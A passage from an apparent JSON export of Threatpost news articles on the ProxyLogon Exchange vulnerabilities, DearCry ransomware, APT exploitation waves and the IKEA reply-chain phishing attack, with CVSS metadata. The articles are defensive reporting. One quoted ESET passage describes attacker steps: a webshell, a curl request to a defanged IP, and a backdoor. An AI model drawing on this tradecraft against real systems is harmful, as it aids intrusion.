executive\u2019s email account, can be used to spread ransomware and other malware or to request wire transfers to cybercriminal-owned bank accounts, among other things,\u201d Kron said.\n\nHe suggested training employees not to blindly trust emails from an internal source, but to hover over links and to consider the context of the message. \u201cIf it does not make sense or seems unusual at all, it is much better to pick up the phone and quickly confirm the message with the sender, rather than to risk a malware infection or falling victim to a scam,\u201d he said.\u201d\n\nIn contrast, Christian Espinosa, managing director of [Cerberus Sentinel](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUc1h7F6EeKyqQHDAzxY6FeBG4AZ1lNaZ-2Fme9HKLAKT7PeL3x_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzZcULka2hXrkxot-2FYcsNMOW-2Fi7ZSbc4BW4Y4w5w74JadqFiCZdgYU0Y0aYb-2FD61SsSN5WSYToKPBxI2VArzhMwftrf78GbiRjwM9LzhmNBFfpMuXBsqYiKB-2B-2F-2BBM3106r8Wex0T7OFTT8vFIbMA9T-2BlDgGhDFXEelC-2FWPjZXKe9NWtbBbYafHTvkVre5k1vKi3GgofOJKSR-2F2xlpyW7kQklpPEA59unEm4rAKnCodaK-2FrXGwLA5yk9gY1MBMzuyaJeG4mVY1yL-2F3YI1d-2BMmcWiY-3D>), is a firm vote for the \u201ctraining is pointless\u201d approach.\n\n\u201cIt should be evident by now that awareness and phishing training is ineffective,\u201d he told Threatpost via email on Monday. \u201cIt\u2019s time we accept \u2018users\u2019 will continuously fall for phishing scams, despite how much \u2018awareness training\u2019 we put them through.\u201d\n\nBut what options do we have? Espinosa suggested that cybersecurity defense playbooks \u201cshould focus on items that reduce risk, such as application whitelisting, which would have stopped this attack, as the \u2018malware\u2019 would not be whitelisted.\u201d\n\nHe pointed to other industries that have compensated for human factors, such as transportation. \u201cDespite awareness campaigns, the transportation industry realized that many people did not \u2018look\u2019 before turning across traffic at a green light,\u201d Espinosa said. \u201cInstead of blaming the drivers, the industry changed the traffic lights. The newer lights prevent drivers from turning across traffic unless there is a green arrow.\u201d\n\nThis change saved thousands of lives, he said, and it\u2019s high time that the cybersecurity industry similarly \u201ctakes ownership.\u201d\n\n**_There\u2019s a sea of unstructured data on the internet relating to the latest security threats._**[ **_REGISTER TODAY_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_ to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This_**[ **_LIVE, interactive Threatpost Town Hall_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken._**\n\n[**_Register NOW_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)_** for the LIVE event!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-29T21:22:12", "type": "threatpost", "title": "IKEA Hit by Email Reply-Chain Cyberattack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-29T21:22:12", "id": "THREATPOST:736F24485446EFF3B3797B31CE9DAF1D", "href": "https://threatpost.com/ikea-email-reply-chain-attack/176625/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-04T21:57:55", "description": "Hot on the heels of Microsoft\u2019s announcement about active cyber-espionage campaigns that are [exploiting four serious security vulnerabilities](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in Microsoft Exchange Server, the U.S. government is mandating patching for the issues.\n\nThe news comes as security firms report escalating numbers of related campaigns led by sophisticated adversaries against a range of high-value targets, especially in the U.S.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has issued an emergency directive, warning that its partners have observed active exploitation of the bugs in Microsoft Exchange on-premises products, which allow attackers to have \u201cpersistent system access and control of an enterprise network.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cCISA has determined that this exploitation of Microsoft Exchange on-premises products poses an unacceptable risk to Federal Civilian Executive Branch agencies and requires emergency action,\u201d reads the [March 3 alert](<https://cyber.dhs.gov/ed/21-02/>). \u201cThis determination is based on the current exploitation of these vulnerabilities in the wild, the likelihood of the vulnerabilities being exploited, the prevalence of the affected software in the federal enterprise, the high potential for a compromise of agency information systems and the potential impact of a successful compromise.\u201d\n\n## **Rapidly Spreading Exchange Server Attacks**\n\nEarlier this week Microsoft said that it had spotted multiple zero-day exploits in the wild being used to attack on-premises versions of Microsoft Exchange Server, spurring it to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>).\n\nThe exploited bugs are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065. When chained together, they allow remote authentication bypass and remote code execution. Adversaries have been able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\nThe attacks are being carried out in part by a China-linked advanced persistent threat (APT) called Hafnium, Microsoft said \u2013 but multiple other security firms have observed attacks from other groups and against a widespread swathe of targets.\n\nResearchers at Huntress Labs for instance told Threatpost that its researchers have discovered more than 200 web shells deployed across thousands of vulnerable servers (with antivirus and endpoint detection/recovery installed), and it expects this number to keep rising.\n\n\u201cThe team is seeing organizations of all shapes and sizes affected, including electricity companies, local/county governments, healthcare providers and banks/financial institutions, as well as small hotels, multiple senior citizen communities and other mid-market businesses,\u201d a spokesperson at Huntress told Threatpost.\n\nMeanwhile, researchers at ESET tweeted that CVE-2021-26855 was being actively exploited in the wild by at least three APTS besides Hafnium.\n\n\u201cAmong them, we identified #LuckyMouse, #Tick, #Calypso and a few additional yet-unclassified clusters,\u201d it tweeted, adding that while most attacks are against targets in the U.S., \u201cwe\u2019ve seen attacks against servers in Europe, Asia and the Middle East.\u201d\n\n> Most targets are located in the US but we\u2019ve seen attacks against servers in Europe, Asia and the Middle East. Targeted verticals include governments, law firms, private companies and medical facilities. 3/5 [pic.twitter.com/kwxjYPeMlm](<https://t.co/kwxjYPeMlm>)\n> \n> \u2014 ESET research (@ESETresearch) [March 2, 2021](<https://twitter.com/ESETresearch/status/1366862951156695047?ref_src=twsrc%5Etfw>)\n\nThe vulnerabilities only exist in on-premise versions of Exchange Server, and don\u2019t affect Office 365 and virtual instances. Yet despite the move to the cloud, there are plenty of physical servers still in service, leaving a wide pool of targets.\n\n\u201cWith organizations migrating to Microsoft Office 365 en masse over the last few years, it\u2019s easy to forget that on-premises Exchange servers are still in service,\u201d Saryu Nayyar, CEO, Gurucul, said via email. \u201cSome organizations, notably in government, can\u2019t migrate their applications to the cloud due to policy or regulation, which means we will see on-premises servers for some time to come.\u201d\n\n## **CISA Mandates Patching Exchange Servers**\n\nCISA is requiring federal agencies to take several steps in light of the spreading attacks.\n\nFirst, they should take a thorough inventory of all on-premises Microsoft Exchange Servers in their environments, and then perform forensics to identify any existing compromises. Any compromises must be reported to CISA for remediation.\n\nThe forensics step would include collecting \u201csystem memory, system web logs, windows event logs and all registry hives. Agencies shall then examine the artifacts for indications of compromise or anomalous behavior, such as credential dumping and other activities.\u201d\n\nIf no indicators of compromise have been found, agencies must immediately patch, CISA added. And if agencies can\u2019t immediately patch, then they must take their Microsoft Exchange Servers offline.\n\nAll agencies have also been told to submit an initial report by Friday on their current situation.\n\n\u201c[This] highlights the increasing frequency of attacks orchestrated by nation states,\u201d said Steve Forbes, government cybersecurity expert at Nominet, via email. \u201cThe increasing role of government agencies in leading a coordinated response against attacks. CISA\u2019s directive for agencies to report back on their level of exposure, apply security fixes or disconnect the program is the latest in a series of increasingly regular emergency directives that the agency has issued since it was established two years ago. Vulnerabilities like these demonstrate the necessity for these coordinated national protective measures to efficiently and effectively mitigate the effects of attacks that could have major national security implications.\u201d\n", "cvss3": {}, "published": "2021-03-04T17:08:36", "type": "threatpost", "title": "CISA Orders Fed Agencies to Patch Exchange Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-04T17:08:36", "id": "THREATPOST:54430D004FBAE464FB7480BC724DBCC8", "href": "https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-03-16T14:17:03", "description": "Cybercriminals are now using compromised Microsoft Exchange servers as a foothold to deploy a new ransomware family called DearCry, Microsoft has warned.\n\nThe ransomware is the latest threat to beleaguer vulnerable Exchange servers, emerging shortly after Microsoft [issued emergency patches in early March](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) for four Microsoft Exchange flaws. The flaws [can be chained together](<https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/>) to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials.\n\nThe flaws give attackers the opportunity to install a webshell for further exploitation within the environment \u2014 and now, researchers say attackers are downloading the new ransomware strain (a.k.a. Ransom:Win32/DoejoCrypt.A) as part of their post-exploitation activity on unpatched servers.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cWe have detected and are now blocking a new family of ransomware being used after an initial compromise of unpatched on-premises Exchange Servers,\u201d Microsoft said [on Twitter](<https://twitter.com/MsftSecIntel/status/1370236539427459076>), Thursday.\n\n## **DearCry Ransomware**\n\nDearCry first came onto the infosec space\u2019s radar after ransomware expert Michael Gillespie [on Thursday said he observed](<https://twitter.com/demonslay335/status/1370125343571509250>) a \u201csudden swarm\u201d of submissions to his ransomware identification website, ID-Ransomware.\n\nThe ransomware uses the extension \u201c.CRYPT\u201d when encrypting files, as well as a filemarker \u201cDEARCRY!\u201d in the string for each encrypted file.\n\n[Microsoft later confirmed](<https://twitter.com/phillip_misner/status/1370197696280027136>) that the ransomware was being launched by attackers using the four Microsoft Exchange vulnerabilities, known collectively as ProxyLogon, which are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\nhttps://twitter.com/demonslay335/status/1370125343571509250\n\nAccording to a [report by BleepingComputer](<https://www.bleepingcomputer.com/news/security/ransomware-now-attacks-microsoft-exchange-servers-with-proxylogon-exploits/amp/>), the ransomware drops a ransom note (called \u2018readme.txt\u2019) after initially infecting the victim \u2013 which contains two email addresses for the threat actors and demands a ransom payment of $16,000.\n\nMeanwhile, [MalwareHunterTeam](<https://twitter.com/malwrhunterteam/status/1370130753586102272>) on Twitter said that victim companies of DearCry have been spotted in Australia, Austria, Canada, Denmark and the U.S. On Twitter, MalwareHunterTeam said the ransomware is \u201cnot that very widespread (yet?).\u201d Thus far, three samples of the DearCry ransomware were uploaded to VirusTotal on March 9 (the hashes for which [can be found here)](<https://twitter.com/malwrhunterteam/status/1370271414855593986>).\n\n## **Microsoft Exchange Attacks Doubling Every Hour**\n\nExploitation activity for the recently patched Exchange flaws continue to skyrocket, [with researchers this week warning](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) the flaws are under fire from at least 10 different advanced persistent threat (APT) groups, all bent on compromising email servers around the world.\n\n[New research by Check Point Software](<https://blog.checkpoint.com/2021/03/11/exploits-on-organizations-worldwide/>) said in the past 24 hours alone, the number of exploitation attempts on organizations have doubled every two to three hours.\n\nResearchers said they saw hundreds of exploit attempts against organizations worldwide \u2013 with the most-targeted industry sectors being government and military (making up 17 percent of all exploit attempts), manufacturing (14 percent) and banking (11 percent).\n\nResearchers warned that exploitation activity will continue \u2014 and urged companies that have not already done so to patch.\n\n\u201cSince the recently disclosed vulnerabilities on Microsoft Exchange Servers, a full race has started amongst hackers and security professionals,\u201d according to Check Point researchers. \u201cGlobal experts are using massive preventative efforts to combat hackers who are working day-in and day-out to produce an exploit that can successfully leverage the remote code-execution vulnerabilities in Microsoft Exchange.\u201d\n\n**_Check out our free [upcoming live webinar events](<https://threatpost.com/category/webinars/>) \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy **([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-12T16:26:07", "type": "threatpost", "title": "Microsoft Exchange Exploits Pave a Ransomware Path", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-12T16:26:07", "id": "THREATPOST:DC270F423257A4E0C44191BE365F25CB", "href": "https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-11T21:58:44", "description": "Recently patched Microsoft Exchange vulnerabilities are under fire from at least 10 different advanced persistent threat (APT) groups, all bent on compromising email servers around the world. Overall exploitation activity is snowballing, according to researchers.\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange Server. Four flaws can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a webshell for further exploitation within the environment.\n\nAnd indeed, adversaries from the Chinese APT known as Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nMicrosoft was spurred to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) for the exploited bugs, known collectively as ProxyLogon, which are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\n## **Rapidly Spreading Email Server Attacks**\n\nMicrosoft said last week that the attacks were \u201climited and targeted.\u201d But that\u2019s certainly no longer the case. Other security companies have [continued to say](<https://twitter.com/0xDUDE/status/1369302347617349642>) they have seen much broader, escalating activity with mass numbers of servers being scanned and attacked.\n\nESET researchers [had confirmed this](<https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/>) as well, and on Wednesday announced that it had pinpointed at least 10 APTs going after the bugs, including Calypso, LuckyMouse, Tick and Winnti Group.\n\n\u201cOn Feb. 28, we noticed that the vulnerabilities were used by other threat actors, starting with Tick and quickly joined by LuckyMouse, Calypso and the Winnti Group,\u201d according to [the writeup](<https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/>). \u201cThis suggests that multiple threat actors gained access to the details of the vulnerabilities before the release of the patch, which means we can discard the possibility that they built an exploit by reverse-engineering Microsoft updates.\u201d\n\n> The [@DIVDnl](<https://twitter.com/DIVDnl?ref_src=twsrc%5Etfw>) scanned over 250K Exchange servers. Sent over 46k emails to the owners. The amount of vulnerable servers is going down. The number of compromised systems is going up. More organizations start investigating their systems for [#Hafnium](<https://twitter.com/hashtag/Hafnium?src=hash&ref_src=twsrc%5Etfw>) exploits.<https://t.co/XmQhHd7OA9>\n> \n> \u2014 Victor Gevers (@0xDUDE) [March 9, 2021](<https://twitter.com/0xDUDE/status/1369302347617349642?ref_src=twsrc%5Etfw>)\n\nThis activity was quickly followed by a raft of other groups, including CactusPete and Mikroceen \u201cscanning and compromising Exchange servers en masse,\u201d according to ESET.\n\n\u201cWe have already detected webshells on more than 5,000 email servers [in more than 115 countries] as of the time of writing, and according to public sources, [several important organizations](<https://twitter.com/sundhaug92/status/1369669037924483087>), such as the European Banking Authority, suffered from this attack,\u201d according to the ESET report.\n\nIt also appears that threat groups are piggybacking on each other\u2019s work. For instance, in some cases the webshells were dropped into Offline Address Book (OAB) configuration files, and they appeared to be accessed by more than one group.\n\n\u201cWe cannot discount the possibility that some threat actors might have hijacked the webshells dropped by other groups rather than directly using the exploit,\u201d said ESET researchers. \u201cOnce the vulnerability had been exploited and the webshell was in place, we observed attempts to install additional malware through it. We also noticed in some cases that several threat actors were targeting the same organization.\u201d\n\n## **Zero-Day Activity Targeting Microsoft Exchange Bugs**\n\nESET has documented a raft of activity targeting the four vulnerabilities, including multiple zero-day compromises before Microsoft rolled patches out.\n\nFor instance, Tick, which has been infiltrating organizations primarily in Japan and South Korea since 2008, was seen compromising the webserver of an IT company based in East Asia two days before Microsoft released its patches for the Exchange flaws.\n\n\u201cWe then observed a Delphi backdoor, highly similar to previous Delphi implants used by the group,\u201d ESET researchers said. \u201cIts main objective seems to be intellectual property and classified information theft.\u201d\n\n\n\nA timeline of ProxyLogon activity. Source: ESET.\n\nOne day before the patches were released, LuckyMouse (a.k.a. APT27 or Emissary Panda) compromised the email server of a governmental entity in the Middle East, ESET observed. The group is cyberespionage-focused and is known for breaching multiple government networks in Central Asia and the Middle East, along with transnational organizations like the International Civil Aviation Organization (ICAO) in 2016.\n\n\u201cLuckyMouse operators started by dropping the Nbtscan tool in C:\\programdata\\, then installed a variant of the ReGeorg webshell and issued a GET request to http://34.90.207[.]23/ip using curl,\u201d according to ESET\u2019s report. \u201cFinally, they attempted to install their SysUpdate (a.k.a. Soldier) modular backdoor.\u201d\n\nThat same day, still in the zero-day period, the Calypso spy group compromised the email servers of governmental entities in the Middle East and in South America. And in the following days, it targeted additional servers at governmental entities and private companies in Africa, Asia and Europe using the exploit.\n\n\u201cAs part of these attacks, two different backdoors were observed: a variant of PlugX specific to the group (Win32/Korplug.ED) and a custom backdoor that we detect as Win32/Agent.UFX (known as Whitebird in a Dr.Web report),\u201d according to ESET. \u201cThese tools are loaded using DLL search-order hijacking against legitimate executables (also dropped by the attackers).\u201d\n\nESET also observed the Winnti Group exploiting the bugs, a few hours before Microsoft released the patches. Winnti (a.k.a. APT41 or Barium, known for [high-profile supply-chain attacks against the video game and software industries](<https://threatpost.com/ransomware-major-gaming-companies-apt27/162735/>)) compromised the email servers of an oil company and a construction equipment company, both based in East Asia.\n\n\u201cThe attackers started by dropping webshells,\u201d according to ESET. \u201cAt one of the compromised victims we observed a [PlugX RAT](<https://threatpost.com/ta416-apt-plugx-malware-variant/161505/>) sample (also known as Korplug)\u2026at the second victim, we observed a loader that is highly similar to previous Winnti v.4 malware loaders\u2026used to decrypt an encrypted payload from disk and execute it. Additionally, we observed various Mimikatz and password dumping tools.\u201d\n\nAfter the patches rolled out and the vulnerabilities were publicly disclosed, [CactusPete (a.k.a. Tonto Team)](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>) compromised the email servers of an Eastern Europe-based procurement company and a cybersecurity consulting company, ESET noted. The attacks resulted in the ShadowPad loader being implanted, along with a variant of the Bisonal remote-access trojan (RAT).\n\nAnd, the Mikroceen APT group (a.k.a. Vicious Panda) compromised the Exchange server of a utility company in Central Asia, which is the region it mainly targets, a day after the patches were released.\n\n## **Unattributed Exploitation Activity**\n\nA cluster of pre-patch activity that ESET dubbed Websiic was also seen targeting seven email servers belonging to private companies (in the domains of IT, telecommunications and engineering) in Asia and a governmental body in Eastern Europe.\n\nESET also said it has seen a spate of unattributed [ShadowPad activity](<https://threatpost.com/ccleaner-attackers-intended-to-deploy-keylogger-in-third-stage/130358/>) resulting in the compromise of email servers at a software development company based in East Asia and a real estate company based in the Middle East. ShadowPad is a cyber-attack platform that criminals deploy in networks to gain remote control capabilities, keylogging functionality and data exfiltration.\n\nAnd, it saw another cluster of activity targeting around 650 servers, mostly in the Germany and other European countries, the U.K. and the United States. All of the latter attacks featured a first-stage webshell called RedirSuiteServerProxy, researchers said.\n\nAnd finally, on four email servers located in Asia and South America, webshells were used to install IIS backdoors after the patches came out, researchers said.\n\nThe groundswell of activity, particularly on the zero-day front, brings up the question of how knowledge of the vulnerabilities was spread between threat groups.\n\n\u201cOur ongoing research shows that not only Hafnium has been using the recent RCE vulnerability in Exchange, but that multiple APTs have access to the exploit, and some even did so prior to the patch release,\u201d ESET concluded. \u201cIt is still unclear how the distribution of the exploit happened, but it is inevitable that more and more threat actors, including ransomware operators, will have access to it sooner or later.\u201d\n\nOrganizations with on-premise Microsoft Exchange servers should patch as soon as possible, researchers noted \u2013 if it\u2019s not already too late.\n\n\u201cThe best mitigation advice for network defenders is to apply the relevant patches,\u201d said Joe Slowick, senior security researcher with DomainTools, in a [Wednesday post](<https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders>). \u201cHowever, given the speed in which adversaries weaponized these vulnerabilities and the extensive period of time pre-disclosure when these were actively exploited, many organizations will likely need to shift into response and remediation activities \u2014 including attack surface reduction and active threat hunting \u2014 to counter existing intrusions.\u201d\n\n**_Check out our free [upcoming live webinar events](<https://threatpost.com/category/webinars/>) \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy **([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n\n** **\n", "cvss3": {}, "published": "2021-03-11T18:01:16", "type": "threatpost", "title": "Microsoft Exchange Servers Face APT Attack Tsunami", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-11T18:01:16", "id": "THREATPOST:CAA77BB0CF0093962ECDD09004546CA3", "href": "https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-16T17:23:15", "description": "As dangerous attacks accelerate against Microsoft Exchange Servers in the wake of the disclosure around the [ProxyLogon group of security bugs](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>), a public proof-of-concept (PoC) whirlwind has started up. It\u2019s all leading to a feeding frenzy of cyber-activity.\n\nThe good news, however, is that Microsoft has issued a one-click mitigation and remediation tool in light of the ongoing swells of attacks.\n\nResearchers said that while advanced persistent threats (APTs) were the first to the game when it comes to hacking vulnerable Exchange servers, the public PoCs mean that the cat is officially out of the bag, meaning that less sophisticated cybercriminals can start to leverage the opportunity.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAPTs\u2026can reverse engineer the patches and make their own PoCs,\u201d Roger Grimes, data-driven defense evangelist at KnowBe4, told Threatpost. \u201cBut publicly posted PoCs mean that the thousands of other hacker groups that don\u2019t have that level of sophistication can do it, and even those groups that do have that sophistication can do it faster.\u201d\n\nAfter confirming the efficacy of one of the new public PoCs, security researcher Will Dorman of CERT/CC [tweeted](<https://twitter.com/wdormann/status/1370800181143351296>), \u201cHow did I find this exploit? Hanging out in the dark web? A hacker forum? No. Google search.\u201d\n\n## **What is the ProxyLogon Exploit Against Microsoft Exchange?**\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange servers.\n\nFour flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\nAnd indeed, Microsoft noted that adversaries from a Chinese APT called Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access.\n\nMicrosoft quickly pushed out out-of-band patches for ProxyLogon, but even so, tens of thousands of organizations have so far been compromised using the exploit chain.\n\nIt\u2019s also apparent that Hafnium isn\u2019t the only party of interest, according to multiple researchers; [ESET said last week](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that at least 10 different APTs are using the exploit.\n\nThe sheer volume of APTs mounting attacks, most of them starting in the days before ProxyLogon became publicly known, has prompted questions as to the exploit\u2019s provenance \u2013 and ESET researchers mused whether it was shared around the Dark Web on a wide scale.\n\nSeveral versions of the on-premise flavor of Exchange are vulnerable to the four bugs, including Exchange 2013, 2016 and 2019. Cloud-based and hosted versions are not vulnerable to ProxyLogon.\n\n## **How Many Organizations and Which Ones Remain at Risk?**\n\nMicrosoft originally identified more than 400,000 on-premise Exchange servers that were at-risk when the patches were first released on March 2. Data collected by RiskIQ [indicated that](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/?utm_campaign=exchange_landscape_blog>) as of March 14, there were 69,548 Exchange servers that were still vulnerable. And in a separate analysis from Kryptos Logic, 62,018 servers are still vulnerable to CVE-2021-26855, the server-side request forgery flaw that allows initial access to Exchange servers.\n\n\u201cWe released one additional set of updates on March 11, and with this, we have released updates covering more than 95 percent of all versions exposed on the internet,\u201d according to [post](<https://www.microsoft.com/security/blog/2021/03/12/protecting-on-premises-exchange-servers-against-recent-attacks/>) published by Microsoft last week.\n\nHowever, Check Point Research (CPR) [said this week](<https://blog.checkpoint.com/2021/03/11/exploits-on-organizations-worldwide/>) that in its latest observations on exploitation attempts, the number of attempted attacks has increased tenfold, from 700 on March 11 to more than 7,200 on March 15.\n\nAccording to CPR\u2019s telemetry, the most-attacked country has been the United States (accounting for 17 percent of all exploit attempts), followed by Germany (6 percent), the United Kingdom (5 percent), the Netherlands (5 percent) and Russia (4 percent).\n\nThe most-targeted industry sector meanwhile has been government/military (23 percent of all exploit attempts), followed by manufacturing (15 percent), banking and financial services (14 percent), software vendors (7 percent) and healthcare (6 percent).\n\n\u201cWhile the numbers are falling, they\u2019re not falling fast enough,\u201d RiskIQ said in its [post](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/?utm_campaign=exchange_landscape_blog&utm_source=twitter&utm_medium=social&utm_content=exchange_landscape_blog_twitter>). \u201cIf you have an Exchange server unpatched and exposed to the internet, your organization is likely already breached. One reason the response may be so slow is many organizations may not realize they have exchange servers exposed to the Internet\u2014this is a common issue we see with new customers.\u201d\n\nIt added, \u201cAnother is that while new patches are coming out every day, many of these servers are not patchable and require upgrades, which is a complicated fix and will likely spur many organizations to migrate to cloud email.\u201d\n\n## **Will the ProxyLogon Attacks Get Worse?**\n\nUnfortunately, it\u2019s likely that attacks on Exchange servers will become more voluminous. Last week, independent security researcher Nguyen Jang [published a PoC on GitHub, ](<https://twitter.com/taviso/status/1370068702817783810>)which chained two of the [ProxyLogon](<https://securityaffairs.co/wordpress/115428/security/microsoft-exchange-emergency-update.html>) vulnerabilities together.\n\nGitHub quickly took it down in light of the hundreds of thousands of still-vulnerable machines in use, but it was still available for several hours.\n\nThen over the weekend, another PoC appeared, flagged and confirmed by CERT/CC\u2019s Dormann:\n\n> Well, I'll say that the ProxyLogon Exchange CVE-2021-26855 Exploit is completely out of the bag by now.<https://t.co/ubsysTeFOj> \nI'm not so sure about the \"Failed to write to shell\" error message. But I can confirm that it did indeed drop a shell on my test Exchange 2016 box. [pic.twitter.com/ijOGx3BIif](<https://t.co/ijOGx3BIif>)\n> \n> \u2014 Will Dormann (@wdormann) [March 13, 2021](<https://twitter.com/wdormann/status/1370800181143351296?ref_src=twsrc%5Etfw>)\n\nEarlier, Praetorian researchers on March 8 published a [detailed technical analysis](<https://www.praetorian.com/blog/reproducing-proxylogon-exploit/>) of CVE-2021-26855 (the one used for initial access), which it used to create an exploit. The technical details offer a public roadmap for reverse-engineering the patch.\n\nThe original exploit used by APTs meanwhile could have been leaked or lifted from Microsoft\u2019s information-sharing program, according to a recent report in the Wall Street Journal. [In light of evidence](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that multiple APTs were mounting zero-day attacks in the days before Microsoft released patches for the bugs, the computing giant is reportedly questioning whether an exploit was leaked from one of its security partners.\n\nMAPP delivers relevant bug information to security vendors ahead of disclosure, so they can get a jump on adding signatures and indicators of compromise to their products and services. This can include, yes, exploit code.\n\n\u201cSome of the tools used in the second wave of the attack, which is believed to have begun Feb. 28, bear similarities to proof-of-concept attack code that Microsoft distributed to antivirus companies and other security partners Feb. 23, investigators at security companies say,\u201d according to [the report](<https://www.wsj.com/articles/microsoft-probing-whether-leak-played-role-in-suspected-chinese-hack-11615575793>). 